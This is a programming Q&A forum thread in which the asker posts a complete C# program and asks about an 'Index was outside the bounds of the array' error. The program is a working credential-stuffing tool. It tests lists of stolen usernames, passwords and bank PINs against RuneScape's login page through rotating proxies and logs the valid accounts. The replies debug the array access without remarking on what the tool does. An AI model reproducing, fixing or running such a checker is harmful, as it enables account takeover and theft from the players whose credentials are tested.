Click here to Skip to main content
Rate this: bad
good
Please Sign up or sign in to vote.
See more: C# array
Hey,
 
I am having problems with this line, i keep getting an error that says 'Index was outside the bounds of the array'. This isnt my program and i haven't used c# before so im not exactly sure what it means or how to fix it.
 
This is the line with the problem,
 
accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));
 
And this is the entire program.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.IO;
using System.Threading;
 
namespace ConsoleApplication2
{
    class Program
    {
        static List<String> accounts = new List<String>();
        static List<String> proxies = new List<String>();
 
        static void Main(string[] args)
        {
            int threads = 4;
            loadAccounts();
            loadProxies();
            Console.WriteLine("Enter the amount of threads to run (4 default):");
            threads = Int32.Parse(Console.ReadLine());
            Console.WriteLine("Starting on " + threads + " threads...");
            for (int i = 0; i < threads; i++)
            {
                ThreadPool.QueueUserWorkItem(new WaitCallback(Worker), i);
            }
            Console.ReadLine();
        }
 
        private static void Worker(object state)
        {
            int threadId = (int)state;
            string account = null;
            while ((account = getAccount()) != null)
            {
                String[] acc = accounts[0].Split(':');
                if (CheckAccount(acc[0], acc[1]))
                {
                    Console.WriteLine("Thread: " + threadId + " - valid account - Username: " + acc[0] + " Password: " + acc[1]);
                    WriteToFile("Thread: " + threadId + " - Username: " + acc[0] + " Password: " + acc[1] + (acc.Length > 2 ? "Bank pin: " + acc[2].Substring(5) : ""));
                }
                else
                {
                    Console.WriteLine("Thread: " + threadId + " - invalid account - Username: " + acc[0] + " Password: " + acc[1]);
                }
                accounts.RemoveAt(0);
            }
            Console.ReadLine();
        }
 
        private static Boolean CheckAccount(String username, String password)
        {
            while (true)
            {
                string proxy = getProxy();
                string reply = null;
                try
                {
                    byte[] buffer = Encoding.ASCII.GetBytes("mod=www&ssl=0&dest=title.ws&username=" + username.Replace(" ", "20%") + "&password=" + password.Replace(" ", "20%"));
                    HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
                    WebReq.Proxy = new WebProxy(proxy.Split(':')[0], Int32.Parse(proxy.Split(':')[1]));
                    WebReq.Method = "POST";
                    WebReq.Referer = "https://secure.runescape.com/m=weblogin/loginform.ws?mod=www&ssl=0&dest=title.ws";
                    WebReq.ContentType = "application/x-www-form-urlencoded";
                    WebReq.ContentLength = buffer.Length;
                    Stream PostData = WebReq.GetRequestStream();
                    PostData.Write(buffer, 0, buffer.Length);
                    PostData.Close();
                    HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
                    Stream Answer = WebResp.GetResponseStream();
                    StreamReader _Answer = new StreamReader(Answer);
                    reply = _Answer.ReadToEnd();
                    if (reply.Contains("Login Successful"))
                    {
                        return true;
                    }
                    else
                    {
                        return false;
                    }
                }
                catch
                {
                    //Console.WriteLine("Bad proxy " + proxy);
                    removeProxy(proxy);
                }
                Thread.Sleep(30);
            }
        }
 
        private static String getAccount()
        {
            lock (accounts)
            {
                if (accounts.Count > 0)
                {
                    String account = accounts[0];
                    accounts.RemoveAt(0);
                    return account;
                }
            }
            return null;
        }
 
        private static void removeProxy(String proxy)
        {
            lock (proxies)
            {
                proxies.Remove(proxy);
            }
        }
 
        private static String getProxy()
        {
            lock (proxies)
            {
                return proxies[new Random().Next(0, proxies.Count)];
            }
        }
 
        private static void loadProxies()
        {
            using (TextReader tr = new StreamReader("proxy.txt"))
            {
                string line = null;
                while ((line = tr.ReadLine()) != null)
                {
                    proxies.Add(line);
                }
            }
        }
 
        private static void loadAccounts()
        {
            using (TextReader tr = new StreamReader("accounts.txt"))
            {
                string line = null;
                while ((line = tr.ReadLine()) != null)
                {
                    String[] details = line.Split('\t');
                    accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10))
                }
            }
        }
 
        private static void WriteToFile(String account)
        {
            using (StreamWriter w = File.AppendText("validaccounts.txt"))
            {
                w.WriteLine(account);
                w.Flush();
            }
        }
    }
}
Posted 27-Dec-12 17:01pm
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 1

The error means what it says. This code looks too dense for someone who doesn't know C# or programming in general to even attempt to play with.
 
accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));
 
The array called details has less than 2 elements, so when you try to access the first and second elements, one of those lines is blowing up. Never access an array without checking what you want, is there.
  Permalink  
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 2

Exactly! Either your array is empty or your substrings are zero. Why don't you add a break-point at
 
String[] details = line.Split('\t');
 
and make sure you are getting back accounts and they meet the length for your substrings.
  Permalink  
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 3

add if condition before accessing elements of Detail array
String[] details = line.Split('\t');
if (details.Length >= 1) 
{
    accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10))
}
Happy Coding!
Smile | :)
  Permalink  
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 4

  String[] details = line.Split('\t');
if (details.Length > 1) // or >=2
{
if(details[0].length>6&&details[1].length>10)
    accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10))
}
  Permalink  
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 5

Check value before inserting in List:
 
if (details.Length > 1)
{
   if (details[0].Length > 6 && details[1].Length > 10)
   {
       accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));
   }
}
  Permalink  
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 6

hii,
according to me you are trying to accessing values from array which not exists..
you need to check whether or not there are values or not in the array details then only you need to do the remeaning logic..
i have tried an example..and its working....
static List<String> accounts = new List<String>();
string line = string.Empty;
           line = "hello World";
           string[] details = line.Split(' ');
if(details[0] !=string.Empty && details[1] !=string.Empty)
{ 
           accounts.Add(details[0].Substring(0, 5) + &:& + details[1].Substring(0, 5));
}
          
}
 
check that whether array contains values for details[0] and details[1] and also whether details[0] and details[1] exists or not as well...
 
thanks..
  Permalink  
v2

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

  Print Answers RSS
0 Sarvesh Kumar Gupta 228
1 CHill60 170
2 Peter Leow 165
3 Sergey Alexandrovich Kryukov 153
4 DamithSL 153


Advertise | Privacy | Mobile
Web03 | 2.8.140709.1 | Last Updated 28 Dec 2012
Copyright © CodeProject, 1999-2014
All Rights Reserved. Terms of Service
Layout: fixed | fluid